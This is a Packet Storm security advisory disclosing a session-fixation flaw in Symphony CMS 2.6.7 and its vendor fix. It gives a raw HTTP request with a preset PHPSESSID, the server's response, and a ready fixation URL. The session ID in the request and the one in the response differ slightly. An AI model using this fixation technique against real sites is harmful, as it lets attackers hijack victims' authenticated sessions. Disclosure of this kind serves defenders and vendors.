Symphony CMS 2.6.7 Session Fixation

Type packetstorm
Reporter hyp3rlinx
Modified 2016-06-20T00:00:00


                                            `[+] Credits: John Page aka hyp3rlinx  
[+] Website:  
[+] Source:  
Symphony CMS v2.6.7  
Symphony is a XSLT-powered open source content management system.  
Vulnerability Type:  
Session Fixation  
CVE Reference:  
Vulnerability Details:  
Symphony CMS is prone to "Session Fixation" allowing attackers to preset a  
users PHPSESSID "Session Identifier".  
If the application is deployed using an insecure setup with PHP.INI  
"session.use_only_cookies" not enabled, attackers can then send  
victims a link to the vulnerable application with the "PHPSESSID" already  
initialized as Symphony does not use or call  
"session_regenerate_id()" upon successful user authentication.  
Note: as per  
"session.use_only_cookies=1" is default since PHP 4.3.0.  
As Symphonys Session ID is not regenerated it can result in arbitrary  
Session ID being 'Fixated' to a user, if that user authenticates using  
this attacker supplied session fixated link, the attacker can now access  
the affected application from a different Computer/Browser  
and have the same level of access to that of the victim. Default Cookie  
lifetime for Symphony CMS is up to two weeks.  
Reproduction steps:  
Edit PHP.INI and change following settings to 'session.use_only_cookies=0'  
if applicable, as POC test.  
1) Telnet localhost 80  
2) make HTTP request with a prefixed PHPSESSID  
GET /symphony-2.6.7/symphony/?PHPSESSID=PWN3D666 HTTP/1.1  
Host: localhost  
Connection: close  
3) Hit enter twice  
HTTP/1.1 200 OK  
Date: Mon, 16 May 2016 02:06:47 GMT  
Server: Apache/2.4.12 (Win32) OpenSSL/1.0.1l PHP/5.6.8  
X-Powered-By: PHP/5.6.8  
Set-Cookie: PHPSESSID=PWNED666; expires=Mon, 30-May-2016 02:06:48 GMT;  
Max-Age=1209600; path=/symphony-2.6.7; httponly  
Content-Length: 1501  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Exploit code(s):  
2) http://localhost/symphony-2.6.7/symphony/?PHPSESSID=APPARITION  
Disclosure Timeline:  
Vendor Notification: May 3, 2016  
Vendor Release Fix: May 23, 2016  
June 20, 2016 : Public Disclosure.  
Exploitation Method:  
Severity Level:  
6.8 (Medium)  
Request Method(s): [+] GET / POST  
Vulnerable Product: [+] Symphony CMS 2.6.7  
Vulnerable Parameter(s): [+] 'PHPSESSID'  
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